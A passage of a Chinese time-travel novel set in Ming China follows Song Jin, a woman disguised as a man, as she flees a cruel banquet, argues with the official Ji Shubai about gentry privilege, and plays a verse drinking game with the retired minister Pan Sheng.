宋瑾只觉得身子发麻,脑子告诉自己别看,可眼睛却失去了转动功能,她眼睁睁看着那手拂开一片羊毛,尖利的刀子划进肉里,鲜红的血液随着稚嫩沙哑的惨叫将宋瑾整个包裹。
几个举人正极力夸赞这现烤羊肉多么鲜嫩,忽见原本一直坐在凳子上一动不动的宋瑾,一下蹦将起来,在众人讶异的目光中夺路而逃。
宋瑾几乎是逃难一般逃离了那方庭院,直跑到轿厅边的天井,她原想去扒那道门,结果还没跑到门边就呕了起来。
胃里剧烈收缩着,一次次泛呕,将刚刚吃的吐了个干干净净,吐的她眼中含泪,脸泛潮红。
有下人见了,忙扫地的,忙端水的,忙擦嘴的都动了起来。
叫她意外的是,季舒白也跟了出来,这让她有些不好意思,自己走到了天井的另一端跟他说话。
“怎么样了?”季舒白眉头微蹙,看的出来是紧张,而不是嫌弃,让她好受不少。
“我不想吃了......”
宋瑾说了句孩子气的话,也是实话,她吃不下去了。
早知如此,她根本不会跟来。
她想见的可以是雅,也可以是奢,唯独没想到这里头还有个残忍。
季舒白叹了口气,道:“好,你在这里等我,我去辞了人出来。”
宋瑾站在天井中,看着众人忙碌一片,只有季舒白坚定地往里头去了,一时间竟有些感动起来,眼泪哗啦啦地往下掉,一时分不清是呕吐导致的,还是真的被季舒白感动至此。
她在栏杆上坐下,明白里头还有一番拉扯,因此只静静坐等。
轿厅两面有天井,天井两边都有门,门后连着游廊,往这庭院的各个地方伸去。
一阵低声争执的声音自某个八角门后传来,宋瑾侧了侧首,细心聆听。
“王管事,小的案吩咐送菜,这银子......”这是一个男人的声音,语气里着哀求。
“银子已经结过了,休要废话。”是压低的音量的呵斥。
“可是这才两钱银子,小的送的那些菜光本钱也不止这个数啊。”
“什么不止,你说不止就不止?我说就值这些银子。今日我家有贵客在,你最好赶紧拿钱走人,若敢搅扰了客人,别怪我家老爷不客气。”
“可是这......”
“这什么这?我家老爷肯吃你家的菜就是给你面子,往后你生意还要不要再县里做了?不想做了就去别的地方。赶紧给我滚。”
一个不耐烦的声音在赶客,接着她便见一个满面愁容勾着腰的男子从门后走了出来,双手捧了个什么东西,看见宋瑾后慌忙转身往大门口去了。
跟着出来的是一个身穿香色深衣的男子,腰板挺直,看见宋瑾后先是一愣,继而眼神上下一扫,脸上立刻堆出笑意来,伸手打了个恭往里头去了。
宋瑾猜是自己身上这件远山紫暗花缎子的直身衣起了作用。
约莫过了一盏茶功夫,宋瑾看见院子里忽然热闹起来,原先一起被安排进去吃酒的从人都出了来,连青杉也不例外。
紧接着,季舒白被那几个举人簇拥着出来,言辞间都是挽留,然而季舒白只是满脸歉意地坚定拒绝。
几人走到宋瑾身边方才停下,有人递给两人各一张帖子:“学生今日招待不周,还请季大人见谅。”
季舒白轻轻一笑,婉言谢过,早跑过来候在一边的青杉便伸手接过了那张帖子。唯独宋瑾,呆愣愣地站在那里不知道要干嘛,直到季舒白给她使眼色。
“快谢谢高举人。”
宋瑾这才伸手接了帖子:“多谢高老爷。”
几人又是一阵寒暄后才把季舒白送出了高家大门,宋瑾跟在季舒白身边走走停停,从轿厅到门口竟走了好一阵子。
她吐得脑子拎不清,心思也不在眼前的高家,进来时有多羡慕,如今就有多厌恶,那一张张开开合合的嘴唇就像那羊羔被生划开的口子,红红白白的令她恶心,胃里又在翻滚,因此一心只盼着早些走。
这种感觉一直持续到她人坐到轿子里,才觉得肩上一轻,整个人长舒了一口气。
她闭着眼睛,脑子里总想起那红的白的血呲呼啦的,刺激的她差点要随了佛。
真要说起来,宋瑾其实也杀过不少鸡鸭鱼鹅,但是杀归杀,求的是一个速战速决。
颈部拔掉一小片毛,隔着皮摸到气管和血管,用手指挤到凸出,一刀下去,两管全断。一手抓脚,一手抓翅倒提起来,鸡脑袋下放一个加了盐水的碗,等
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一碗血衁积成,那鸡也没了性命,这才浇开水烫鸡拔毛。
今日这种当着活羊的面,吃它身上剜下来现烤的活肉,她实在是做不到。
但这是一道名菜,一道大菜。
宋瑾觉得憋的慌,掀了轿帷往外看去,这才发现轿子并没有往县衙里头走,而是不知道去一个什么地方,眼下也没法问,只好又坐直了身子,将视线落在手上那张帖子上。
帖子无封袋,就这么折着抓在手里,她打开了扫了眼,嘴巴渐渐张成圆形。
帖子内容简单,上头写着酒席一桌,金华酒两坛,暗花缎两匹,羊一牵等等。
这是一张礼品清单,酒席就算了,估摸着是觉得她没吃上,礼品也算了,反正用的上,可那羊一牵算什么?
宋瑾的心咚咚直跳,脑子里想的全是那只数月的小羊,该不会......
该不会送她了吧?
这是把她当活菩萨还是阎罗王?
眼下也验证不了,宋瑾只得将那帖子这好揣进怀里,脑袋往外探去,并未看见礼品,估计是直接送到县衙里去了。
轿子在城门边停下,宋瑾茫然地走出轿子,看见旁边停了好些马。
“时辰还早,我们骑马去城外走走。”季舒白冲着她道。
宋瑾“哦”了一声,乖乖走了过去。
“你骑这一匹。”
宋瑾看着季舒白指的那一匹,还是最矮小的那匹,她咬了咬唇,没有争辩,自己走过去准备上马。
可惜这城门口没有上马石,她只能靠自己的腿上,可就算是最矮的那匹,她也上的有些吃力。
那马被她扒拉的不舒服,脚下便不停挪动,这导致宋瑾龇牙咧嘴的半天,也没能成功上了那匹马,眼看那牵马的要来帮忙,就听季舒白道:
“我来帮你。”
说话间快步走了过来,一手掀起衣服下摆往后一撩,双膝微曲,一双大手掐着宋瑾的腰。
一个很温柔的声音在她耳边响起,灼热的气息几乎喷到她的脸上:“准备上去。”
不知道是季舒白力气大,亦或是蔓草的这副身子太弱小,那双手用力一提,宋瑾脚下一蹬,人就到了马背上。
“缰绳别拉太紧,跟在我的马后面就好。”
面对季舒白的叮嘱,宋瑾点了点头,可是很快就发现了不对劲。
那递缰绳的人夫眼神怪异地看着她。
宋瑾立刻反应过来,什么情况下季舒白一个五品官会抱一个毫无官籍品阶的男子上马。
床伴,宋瑾的脑子只能想到这个。
那一瞬间宋瑾想死的心都有了,她宁可被人当做不检点的女子,也不想做季舒白随行的床伴。
丢死人了。
季舒白并未发现宋瑾的异样,走到前方蹬上一匹高大的黑马后便领着众人出发了,宋瑾也没来得及在不检点的女人和随行的男床伴之间困扰太久,一夹马肚追了上去。
白日里城门大敞,从人早就给过文书,因此这行人出城并未受到任何阻拦,而城门之外正是夏日盛景。
82. 争执
城门下放,众人从吊桥过了护城河,河的另一边一派热闹景象。
各色小贩熙熙攘攘,赶车行人络绎不绝,茶棚酒肆挤挤捱捱,但是见到宋瑾这行人的时候都自觉让开了一条路,原因无需细说,心中自明。
一众人穿过人群,直到马匹走上宽阔的官道,立刻加快了速度,而青杉在不知不觉间向宋瑾靠近。
“咱们去哪儿?”宋瑾问道。
青杉一边控着马一边答道:“带你去江边玩。”
宋瑾呆愣了一下。
“带你”是什么意思?谁的意思?
除了季舒白还能是谁的意思呢?
宋瑾心中不禁有些雀跃起来,季舒白这人还是挺好的嘛。
青杉口中的江,是吴淞江,水流自太湖出,一直流入松江府,也就是二十一世纪的上海。而进入上海的那段后来被人们称为苏州河。
说起这条吴淞江,在大明时期也是作了不少乱,因此颇费了些功夫去治理。
一行人骑着马,青杉贴在宋瑾身边,紧跟着季舒白,很快就到了吴淞江边。
吴淞江没有宋瑾从前见的长江河段宽阔,但也属实不窄。
高高的堤岸下是粼粼波光的江水,不远处可见杨柳飘飘,苍鹭闲步,低矮的草丛一路延伸到江边。
视野开阔,蔚为壮观,宋瑾一下忘了刚刚的血腥场面,心里舒畅了许多。
“跟着我,我们在堤岸上走走。”
季舒白在前面说着话,青杉在后面叫众从人远远跟随,宋瑾轻夹了下马肚,追上了季舒白。
两人打马并肩走着,季舒白看起来心情不错。
“怎么样?好些没?”
宋瑾还沉浸在小雀跃当中,有些害羞地“嗯”了一声,接着又问:“刚刚大人回去的时候,他们没说什么吧?”
宴席当中跑路呕吐,估计这大明也不多了。
季舒白淡淡道:“无妨,我跟他们解释说你没见过世面。”
宋瑾:“......”
“哼!”
装失败了。
季舒白却笑了:“说起来还要谢谢你呢,若不是你,我还知道要几时才得脱身。”
“原来你也不喜欢。”
季舒白骑在马上,一手抓着缰绳,一手随意地搭在腿上,腰板挺直,双肩随着马的步伐轻轻摇晃着。
他扬起下巴,嘴角带着淡淡的笑意,像夏天傍晚的蜻蜓尾翼点在平静的湖水上,带起一圈极小的涟漪。一双好看的丹凤眼被西斜的太阳照的微眯,深蓝罗袍给他这个不算老的年纪增添了不少老成持重之感。
所谓意气风发,大抵就是这样吧。
一阵风气,卷起脚边的衣摆,季舒白的脸往湖心侧了侧,露出很好看的下颌线来。
“永乐元年,浙西大水,户部尚书夏元吉上书治理疏浚,言吴淞江至上海县段,湖沙渐涨,几成平陆,治理困难,因此建议修改河道,这才保了许多年的太平。”
“到先帝时,吴县和嘉兴一带频发大水,经过数年治理也不见好转。大约十一年前,当时的应天巡抚海大人也遇上了洪水,于是下令疏浚新河道,这才有了今天的样貌。”
季舒白原先声音高昂,颇为兴奋,后来越说越低,越说越遗憾,结果说完也没听见宋瑾的声音,等回头看时吓了一跳。
宋瑾听着季舒白的话,也是越听越遗憾。
海瑞只当了半年的知府,便将吴淞江治理的差不多,而这之前不知道有多少人参与了治理,结果竟未见半分好转,个中缘由猜也能猜个七七八八。
论起为官品德,海瑞有目共睹,论起做官之路,那更是有目共睹。
只怕如今的海瑞,正在海南做泥腿子呢。
要说遗憾,宋瑾觉得也不是,海瑞的为官之道便是一意孤行,别说在大明难以长久,就是上下五千年里,你也难找到几个时期可供海瑞一路高升的。
对于海瑞,她没见过,于宋瑾而言,那就是一个史书上的名字,史书上的名字太多了,黑的红的好的坏的高的低的,宋瑾痛恨不过来,也遗憾不过来。
她遗憾的是眼前这个人,跟她实实在在接触过,帮助过她的人,一起说过话,一起吵过打过闹过的人,对她而言,比史书上的名字要现实多了。
季舒白在面前说着,她起先还听着,后来便是一个字也听不进去。
海瑞的命运她知道,那季舒白呢?
那个季昀,历史上已经有个很有名的纪昀了,那眼前这个季昀呢?
宋瑾看着季舒白,夏日的阳光也抵不住心底的寒意,鸡皮疙瘩爬满宋瑾全身,视线渐渐模糊,季舒白最后成了一个深蓝的影子刻在眼底。
季舒白回头便看到了这一幕,宋瑾的脸上满是悲悯,像是神佛俯瞰众生的悲悯。
他脸上的表情僵住,猜的第一个理由是:“你在为海大人遗憾?”
宋瑾微微醒过神来,眼睛一眨,两颗眼泪砸了下来。
她勉强堆起笑意:“不是。”
“不是?”季舒白也挤出一丝笑意:“你之前不是很佩服海大人么?”
宋瑾沉默了一下,重新找了个口子切入。
“大人,我今日在高举人家见到一件趣事。”
“趣事?什么趣事?”
宋瑾道:“我在天井中等大人的时候,听见有人吵架,从话里听来是哪家酒楼的掌柜往高举人家送宴席所用的东西来,但是那管事只付人家两钱银子。”
季舒白皱了下眉,问道:“你是觉得高举人没有付够钱资?”
宋瑾想了想道:“没有付够是一定的,不过那掌柜似乎也不打算计较,就连遇上我的时候,都是躲着走的呢,倒是那不给银钱的管事,趾高气昂的。”
季舒白长吸了口气道:“我知道你在想什么,可有时候民不举,官不纠。这不是一个高举人的事情,也不是一个掌柜在吃亏,但是所有人都默认了这种规则。若是那掌柜一定要追究,银钱必能要回来,只是这生意,往后只怕更难做。我能为他做一时的主,却不能做一世的主。”
他看了眼宋瑾:“你从前也是做生意的,可有遇上过这些?”
宋瑾想了想后摇头:“不曾。”
“你从商时间尚短,还有好些事情没有见过,慢慢来吧。”
宋瑾慢慢想着,从前遇过哪些官商富绅,似乎也并不多,倒没有欠钱不给的情形。
就像季舒白说的,她从商时间尚短,见识严重不足,那些曾经装进脑袋的规则,在这个世界未必通用。
特权二字,不是说说而已。
宋瑾想了想后,有些不甘心,决定继续下去。
“大人可想听听我今日说的那个情妇的故事?”
季舒白原先并不想听,可是宋瑾的表情轻松了些,猜她一心想说,便道了声好。
于是宋瑾给他讲了茶花女的故事,一个依附在有钱人身上,靠着青春和美色换取金钱的故事。
宋瑾说的慢,季舒白听的认着,直到宋瑾说完,他也没猜出说这个故事的寓意。
“你想说什么?”
宋瑾笑笑:“这个故事最有趣的点,不在于这个女人跟着男子走了,最后还为了这个男子放弃一切,只为成全他的名声。”
“那在哪里?”
宋瑾道:“在另一个版本里。”
现实里,玛格丽特根本没有跟着阿尔芒走,她沉迷那种奢华的生活,没有听从任何人的说教,没有所谓的改邪归正,没有精神上的圣洁,那不过是作者在昔日爱人死去后的强行升华罢了。
她就是在那种生活里一沉到底,直到溺死。
关于茶花女的爱情,不过是一个男人求而不得的意1淫罢了。
“你到底想说什么?”季舒白听的眉头微皱,不大明白宋瑾想说什么。
“我说,高举人就像茶花女
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,就像情1妇,就像吸血鬼。”
宋瑾冷静说完,看着季舒白的眼睛忽然睁大,瞳孔震颤。
“唯一不同的是,这个情1妇只找有钱人吸血,而高举人这种,吸的是穷苦百姓的血。”
宋瑾又添了一刀子。
“你疯了?你听听你说的是什么话!”
季舒白气的不轻,然而宋瑾没有停止:“难道不是么?牺牲底层百姓的利益,来无限供养上层,就像那个情妇被有钱人供养一样,不过那个女子靠的是美貌风情,而读书人靠的是功名。”
“这个国家是读书人在管,规矩是读书人在定,那利益自然在读书人兜里。”
“不是读书人来管,那该谁来管?你么?”季舒白呵斥道:“我华夏文明自建立起便是读书人在管,若是连书......”
“有什么了不起的,从神话里的尧舜禹到如今的皇帝,都改朝换代多少回了,明明就管的稀烂。”
宋瑾毫不犹豫地怼了回去,眼看着季舒白气的胸腔都胀大了几个尺寸。
“你是要说我们如今做的这些,都是在白费工夫么?你是不是没见过从前的日子,以为今日的太平安稳都是理所应当的?”仅剩的教养让季舒白压着火气说话。
“浙西洪水你不曾见过,倭寇进犯你不曾经历过,播州吐司和建州女真就没有安分过。你打小生在苏州,住在柏家院中,以为身为下人,成为奴婢便是最痛最苦的事情,可你知道外面是什么世界么?你以为眼下的太平繁荣都是天然可得的么?”
季舒白越说越恼火,宋瑾眼中蓄泪,她本意不是如此,却越说越错。
“大人,我不是要同你说这些......”
“那你想说什么?”
宋瑾咬着唇,此刻说也是错,不说也是错,索性一狠心道:“我要说的是,眼下有钱人已经赚的差不多了,该停一停了。若是大人办不到这一点,那就应当及时抽身,不要与旋涡中人混在一起,以免将来惹祸上身。”
宋瑾想了许久,她想季舒白这样一个人,若是将来折戟,那会栽在哪里。
张居正,这就是宋瑾的答案。
没记错的话,季舒白是张居正推举的,而张居正死后遭遇清算,就如他上位时清算附丽高拱者一样。
都说一朝天子一朝臣,其实臣子也不例外。
她记得起算张居正时,轻则调任,比如戚继光,重则丢命,比如张家子嗣,当然也有因此受益,得以重新启用的,比如海瑞。
至于季舒白在哪个位置上,宋瑾只能肯定不在最后一个位置上。
“什么叫旋涡中人?”季舒白的火气并没有因为宋瑾说是为他考虑而降下来:“身在官场,你以为想独善其身便可以了么?你好像忘了你当初是怎么利用我的。”
季舒白一下戳中了宋瑾的痛点,她没有想到自己做的缺德事有朝一日会被拿来否定自己的观点。
眼泪大颗大颗地涌了出来:“季大人,我没有想过要害你......”
“可你也算不上多正直,一个心术不正的人,凭什么来告诫我离旋涡远些?你何尝不是我的漩涡。”
宋瑾无言以对,心口骤然收紧,整个人都被一种悲凉笼罩住。
“今日这些话,我不同你计较,往后再提,别怪我同你翻脸。”
说罢勒马掉头,将宋瑾扔在那里便往回走,宋瑾只得掉头跟上,奈何技术不佳,落后了好大一截。
两人一场对谈,话说了不少,太阳也开始靠近西边山顶,江面从银光粼粼变成浮光跃金,黄昏近在眼前。
都说黄昏时候人会产生恐慌感,那是人还住在山洞时留下的远古记忆,预示着外面不安全,该回家了。
可宋瑾的家在哪里?那个用白炽灯击退黄昏恐慌的家遥不可及。
宋瑾打马在堤岸上,来时心中有多雀跃,如今就有多荒凉。
她伏在马上,泣不成声。
83. 潘晟
季舒白好心带宋瑾出来散心,结果散的一肚子火气,因此埋头只顾往前走,根本不管后头的宋瑾。
青杉跟在后头,看着自己的主人面色极差,料想二人吵架了,忍不住回头去看宋瑾,谁知道宋瑾落后一大截,身子趴在马上,看不见脸,只能看见双肩打着颤。
没法子,他掉了个头去找宋瑾。
城门关上前回城最要紧。
不过两鞭子,青杉已到了宋瑾面前:“你怎么又哭上了?”
宋瑾哭的伤心,根本没答话。
“快别哭了,回去要紧,我家大人面色不好,我今夜定然难熬。”
宋瑾听了这个话,从马上爬起来,满脸湿漉漉的。
“你又惹我家大人了?”
宋瑾抽噎了两下,还是没答他。
“你惹他干嘛,这不是害我嘛。”
城门失火,殃及池鱼,主子黑脸,下人遭殃。
哪知宋瑾一听青杉说自己害他,心里一下委屈上了,两眼一闭,小嘴一张就是嚎。
眼泪哗啦啦的下来,根本止不住。
青杉见状也急了:“唉,你怎么还越哭越厉害了,咱得回去,回城里去,我家大人......”
真是说曹操,曹操就到,青杉一提季舒白,人就到跟前了。
宋瑾哭的起劲,根本没看见,青杉忍不住靠近,用手肘捅了捅她,宋瑾这才睁眼去看,迎面便是季舒白一张冷脸。
她立刻收声,用袖子在脸上抹了两下,什么眼泪,什么委屈,什么嚎丧,此刻都咽了回去。
“去前面。”
季舒白冷声下令,宋瑾乖乖的打马走到前头去了。
等走到随行从人身边时,那简直是接受检阅一般地被众人审视,她埋着头只当看不见,径直往前去了。
一路无话,只是回了县衙公廨后,宋瑾见到了新的难题。
高举人给她送的那些东西,按照帖子的数量一一送到了她所住的屋子。
酒席布匹什么的还好办,问题是那一牵羊,真的是挨了一刀的那只羊,给宋瑾看的又委屈又窝火。
一个一个来处理。
酒席她一个人吃不了,便留了几个喜欢的小菜和一坛子酒,剩下的都送给了一路跟来的从人。
暗花缎子她自己收了,羊拴在院子里,用两道菜从膳房换了蔬菜来喂。
于是这天夜里,宋瑾抱着酒坛子在院子的一头喝酒吃菜,羊趴在院子的另一头啃青菜。
宋瑾越想心里越不舒服,难得有良心发现的时候,居然给这么一顿骂,以至于她心里难受至极,酒也喝的没分寸起来。
等月上中天,她人早迷糊了,自己滚进床上睡觉。
她面朝里头墙壁,想好言难劝该死的鬼,该说都说了,你自己要往上撞,可怨不得我。
她面朝外,又想他好歹帮过自己,不像史书上的人,是个干巴巴的名字,自己是不是应该知恩图报一下?
她翻了个身,王八蛋,他骂我!
她又翻了个身,刚刚是不是说的太委婉了,他没听懂啊?
......
宋瑾在床上摊了半夜的煎饼,终于在酒劲的作用下沉沉睡去,等醒来已是第二日晌午时分。
她这一觉睡得可够久的,醒来时早就饿的不行,忙跑去膳房找吃的。
这一日的膳房尤其热闹,诸多厨子齐齐上阵,每个灶膛里都红通通的。
“今儿什么日子呀,厨房这么热闹?”
宋瑾随口一问,有个婆子转头答她:“来贵客啦,知县老爷叫好生伺候呢,你也能享个口服了。”
一句话勾起了宋瑾的兴致,在她看来季舒白就是贵客,可是这婆子口中说的明显不是他。
“是哪方贵客呀?”
“是潘大人,从前在京中做的好大的官。”
宋瑾撇撇嘴,这不跟没说一样嘛。
“什么官啊?多大的官?”
宋瑾挤牙膏一般的问,这一回开口的人就多了。
“潘大人啊,礼部尚书潘大人。”
“对对,就是他,我听我家老汉说了,人家可是嘉靖二十年的榜眼,厉害着呢。说这次出门啊是来玩的,路过咱们这。”
“说起来咱们这里还没接过这么大的官吧?”
“人家来了也不住咱们这儿呀。”
“说是如今不当官了,出门散心来着。”
“当了大官就是好,都不做了咱们老爷还当贵客一般待。”
“你叫你儿子好好读书,将来也考个榜眼,到时候咱们老爷也把你供起来。”
“哈哈哈——”
宋瑾脑子里转了一圈,礼部尚书潘大人,很快就有一个名字跳出来。
潘晟。
宋瑾一拍大腿,拔腿就跑。
活古董,她高低得见见。
然而跑了一半又折返回来,气喘吁吁道:“妈妈,给我来碗面吧。”
吃饱了再去,再说了她还没打听到住哪个屋呢。
宋瑾一边吃,一边跟婆子们聊天,七嘴八舌的也就打听的差不多了。
潘晟为人和气,很讨下人的喜欢,一点没有大官的架子,随和的很。
致仕以后回了老家,还经常捐赠施与,所以名声极好。
最后一点,此人样貌俊伟,老了也是个帅老头。
宋瑾就是因为这些,所以才会在翻看历史的时候多看了此人的资料一眼,因此记住了这个人物,只是没想到如今竟要见上了。
宋瑾打听的差不多,却把激情给打散了,因为青杉给她科普过,这种做过京官的榜眼,那不是她能随意见上的,此刻季舒白跟知县一定都在作陪,她去端茶递水还不够格呢,索性吃完后顺了几颗青菜回屋喂小羊去了。
那羊的情形不大好,后腿受伤,基本是趴在地上吃东西。
宋瑾又没有药,也不知道这里有没有兽医,这大热天气只能拴在树荫下。
作孽的很。
看着它吃完了青菜,宋瑾又喂了些水,心里盘算着这羊的去处,却始终没有答案,只能在心里不断骂高策狗东西。
带是带不走的,养是养不了的,高策给她这只羊,不是觉得她心善,让她救下这只羊,而是要宋瑾亲自去杀这只羊。
宋瑾越想越火大,恨不得把那高策变成绳子打个结儿,再扔在地上狠踩几脚。
宋瑾就这么在院子里干耗着,一直耗到约莫申时,宋瑾猜着那头应该热闹完了,这才悄咪咪地出了门,去找她那活化石。
比预想的简单些,一个是宋瑾跟在季舒白身后混了好些日子,在县衙里混熟了,昨夜又请了酒席,大家对她都挺客气。因此稍一打听便知道那潘大人正在花厅里玩耍呢,于是宋瑾拔腿往花厅去了。
快到花厅时,宋瑾放缓了脚步,扮做君子模样,缓慢走近。
远远的,她听见里面传来说话声,声音轻快,说的什么“暗香疏影”,什么“梅花三弄”,似是一个少女,还有一个老人在玩耍。
她靠近些,从推开的窗户边往里看去,就见一个老人和一个年轻男子装扮的人在玩牌。
那年轻男子......
宋瑾差点儿笑出声来,跟自己一样,是个女扮男装的,而且那女子肌肤娇嫩,唇红齿白,声音又甜,比她还不像个男人。
她猜那背对自己的老人便是潘晟,看那身影并未发福,头发花白,侧面可见有留长须,声音洪亮,应当还算健康。
宋瑾记得他,清算张居正时被弹劾的官员之一。
只不过很庆幸的是当时他已致仕,张居正病逝前举荐了他,因此又被召回。结果还未到京任职,张居正便已去世,而他在路途中遭遇弹劾并被罢免了官职。
说起来他算幸运,只是多走了一段路而已,并未受到贬官调任之类的影响。
宋瑾看的有些痴,一时竟没注意到身后有人靠近。
“你在这里做什么?”
一个声音冷不丁冒出来,惊的宋瑾一跳,连带着将那窗户也撞的一声响。
这下好了,各个都看见了她。
“是谁呀?”潘晟在问。
季舒白走了出来,递给宋瑾一个眼神,示意她跟上。
两人进了门,季舒白才拱手道:“学生舒白路过此地,打扰老师了。”
说罢又给了宋瑾一个眼神,宋瑾连忙拱手接话:“晚生陆瑾,参见潘大人。”
宋瑾说完话,也不知道自己说的对不对,就听见一个甜腻腻的声音道:“呀,又一个叫您大人的呢。大人,大人,哈哈哈——”
宋瑾猜那女子与潘晟关系极好,不然也不至于这般开玩笑。
潘晟果然没去介意,声音慈祥的很:“你少打趣老夫,你刚刚还说要去更衣,现在老夫有人陪了,你快去快去。”
说完招呼季舒白和宋瑾坐下:“你们二人来陪我玩,免得她老抱怨我。”
那女子掩着唇笑,宋瑾看着桌上那红点白点的牌,却笑不出来。
她不会玩,二十一世纪的牌九炸金花她都一律不会,最多只会数点数,眼下这牌要她陪玩,她也呆了。
那少女倒是伶俐,瞧见她呆滞的模样便猜是不会玩,因此笑道:“我瞧这位小公子有些为难呢,祖父,要不咱们玩简单的吧。”
“你又不玩,还这般啰嗦。”
“祖父~”
宋瑾听出来是祖父和孙女,都说隔代亲,这潘晟也是惯这孙女,便依了她。
玩法很简单,先各摸三张牌,然后行令,令的规则是一个词牌名,两个骨牌名,接一句西厢,随后翻牌,若是抽中了喊的骨牌名便要喝酒。
简单的很,然而宋瑾既没背过西厢,也不知道骨牌名,尴尬地坐在那里都不知道该如何接话。
若面对的是季舒白,她也就老实说了,可是眼下是打着门客的幌子,面对的是潘晟,她也不敢胡编,因此老实道:“晚生不曾研读过西厢,所以......”
“呀,稀罕呀,呵呵呵~~~”
那少女爱笑,银铃一般的声音,很是好听:“你说巧不巧,偏生我此次出来的时候,带了一本西厢在身边。”
说完便叫下人去她房中取,接着又问宋瑾:“你可别说这骨牌你也不识得。”
宋瑾缓慢地龇了下牙,尴尬无比,那少女这回终于也笑不出来了。
这才是个少见的小古董呢。
“要不就由学生来陪老师玩吧。”季舒白开了口,打算让宋瑾就此下场,这也是没办法的事情。
然而潘晟却不这么觉得:“不会玩就教嘛,又不难。去,我屋里就有一本牌谱,去取来。”
吩咐完又冲宋瑾笑着道:“我们两个正常玩,你呀摊着书玩,多玩几局也就会了。”
宋瑾心里一口气瞬间舒畅了。
少女退了出去,桌上只剩三人。宋瑾的面前摊着两本书,一本牌谱,一本西厢,还好脑子里有词牌名存储,不然她一个985毕业生要在这里做文盲了。
三人依次摸牌,潘晟最先,只听他念:“乳燕飞,桃花落,飞遍那九溪十八洞,恰似神仙归洞天。”
宋瑾听罢有些想笑,这词倒很符合他的性子和当下的情形,致了仕,自由自在
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的,可不是神仙归洞天嘛。
牌翻开,宋瑾还在翻书核对,潘晟已经笑道:“没中。”
宋瑾慌里慌张的再找自己适用的词,季舒白已经开始了。
“竹枝子,三分明月,萤火傍人飞,能消几度黄昏。”
埋在书间的宋瑾听了这话忽然抬起头来,眨巴着眼睛看向季舒白,季舒白察觉到她的视线,只扫了一眼,便去掀牌。
就那一眼,宋瑾觉得冷漠疏离,不知道为什么,她觉得他在骂她。
一个依靠他才能装出个有良人身份的人,可不就是萤火傍人飞嘛。
一个天天谎言挂嘴边的人,能装几日呢?“能消几度黄昏”真是贴切。
宋瑾憋着火,咬着唇去翻书,也不管季舒白中没中,终于攒出一套骂人的词来。
“比目鱼,双飞燕,一双老眼花前暗,竟看不清珠帘掩映着芙蓉面。”
这话一出,季舒白摸牌的手也顿住了,这可不就是骂他眼瞎嘛,来来回回见了那么多次,愣是没认出她是个女子。
然而此间实在不好发火,只听他轻叹一声,继续摸牌。倒是一旁的潘晟,眼睛在两个人身上轮番转,末了问了一句:
“这不是在骂老夫吧?”
“不不不不是,当然不是。”
宋瑾忙不迭的解释,连话都不会说了。真是误伤,光记得骂季舒白眼神不好,忘了对面真有一个老花眼在。
潘晟如传闻中的好性子:“不是就好,不是就好,不然啊就是欺负我老人家。”
说完似乎反应了过来,又问宋瑾:“那你骂谁呢?”
他把视线落在季舒白身上,看的季舒白浑身不自在。
“玩耍而已,并非骂人。”
“噢哟,是吗?”
明显不大信宋瑾的解释,可宋瑾也管不着了,掀了牌去看,果然中了一个双飞燕,于是端起酒杯豪爽饮下,辣的她眼睛直眯。
这一关算是过了。
那头潘晟早已摸完牌,此刻笑着往后接:“燕归来,桃红柳绿,莺飞蝶双戏,到晚来卧看牵牛织女星。”
说完又嘀咕:“哎呀不好不好,燕子归来时可见不着牵牛织女星。”
宋瑾一下乐了:“不是玩耍嘛。”
“对对对,玩耍玩耍,无需认真。”
宋瑾听了这话,撇撇嘴,不知他是说给谁听的,但隔壁的季舒白一定没听进去,因为他在念:
“玉蝴蝶,看中了锦屏风,却不知天生有别,叫添香的行者心焦。”
宋瑾心中咯噔一下,骂我,这一定是在骂我,这绝对是在骂我!
季舒白没去看宋瑾的眼神,自顾自掀了牌,好死不死,中了一张天生有别,宋瑾牙都龇出来了,一本书翻的哗哗响,引得那潘晟盯着她看,就听她念:
“怨东风,跑马观花,不知蜻蜓怜晓露,定是个铁石人。”
季舒白瞥他一眼,宋瑾瞪了回去,结果瞪的来劲了,居然忘了掀牌,季舒白使眼色也不顶用,最后只好伸手过来帮她掀牌。
宋瑾没认出牌面来。
“没中。”声音挺轻,宋瑾一时分不出好赖,只好将手边牌扔掉,再去抓牌。
对面的潘晟看了半晌的戏,到此时笑了一笑,开口便道:“青莲池上客,柳岸杏花稀,殊不知这山水能媚人,就是铁石人也动情啊。”
季舒白垂着个头,宋瑾咬着个唇,两个都不吭气,只觉得掌心麻麻的。
潘晟戏了二人一把,乐呵呵地翻牌,自顾自地喝酒,季舒白只得接过去。
“月中仙,瑶台观花,不见竹林二君子,原来是南海水月观音现。”
声音如做贼一般,低得要死,好歹宋瑾听清了,虽不是暗示她什么,但好歹没骂人了。
两人尴尬间,那少女已经回来了,笑嘻嘻地在潘晟身边坐下。
“耍的如何了?”
潘晟没答话,只把眼神在二人身上一扫,那两个尴尬的都快坐不住了。
那姑娘立刻反应过来,咯咯直笑:“如今轮到谁了?”
轮到宋瑾了,她觉得脸上滚烫,还是得继续下去,只听她念:
“鹤冲天,素崖丹壁,清云流霞,真似个玉堂人物难亲近。”
说完也不敢看季舒白,自己去翻了牌,中了个清云流霞,又是一杯酒下了肚。
运气真背。
潘晟乐呵呵地看戏,到此时已经是逗二人的乐趣大过玩牌的乐趣了,两人毫无招架之力。
“渔歌子,半江红,十二巫山不见君,真是天不与人行方便啊,哈哈哈——”
“祖父,你接的不好......”
那姑娘刚要说什么,就见外头有人进来,在季舒白耳边低语了几句,季舒白便起身请辞,潘晟自然不会拦他。
临走前,季舒白看了一眼宋瑾,又看了一眼她眼前的杯子。
她酒量不好,他是知道的,喝多了必要出丑。
宋瑾眨了眨眼,示意知道了,他才折身出去。
眼看着他要走了,那姑娘捂着唇笑着道:“祖父,你应该让我接。”
“你会接什么?”
“我呀,就会接喜团圆,花花相对,恰如那莲蓬盛会,岂能怪黄莺儿作对。”
“哈哈哈,对对对,成双成对,那谁是黄莺儿?”
“指定不是我,哈哈哈——”
季舒白人尚未走远,听见后头玩笑的声音,脸上顿时烧了起来。
宋瑾坐在那里也是一万个不自在,开别人玩笑她还行,被人抓着开玩笑,还是二对一,顿时板凳生了刺一般,她坐不住了。
84. 调戏
眼看着这张桌上就剩她自己一个人,宋瑾担心自己应付不来,于是打算找个理由开脱。
理由倒也简单,给他们调酒去。
新鲜东西没见过,那少女好奇心又强,知道宋瑾不善玩牌,便做主由她去了。
宋瑾脱了身,走出花厅的时候长舒了一口气。
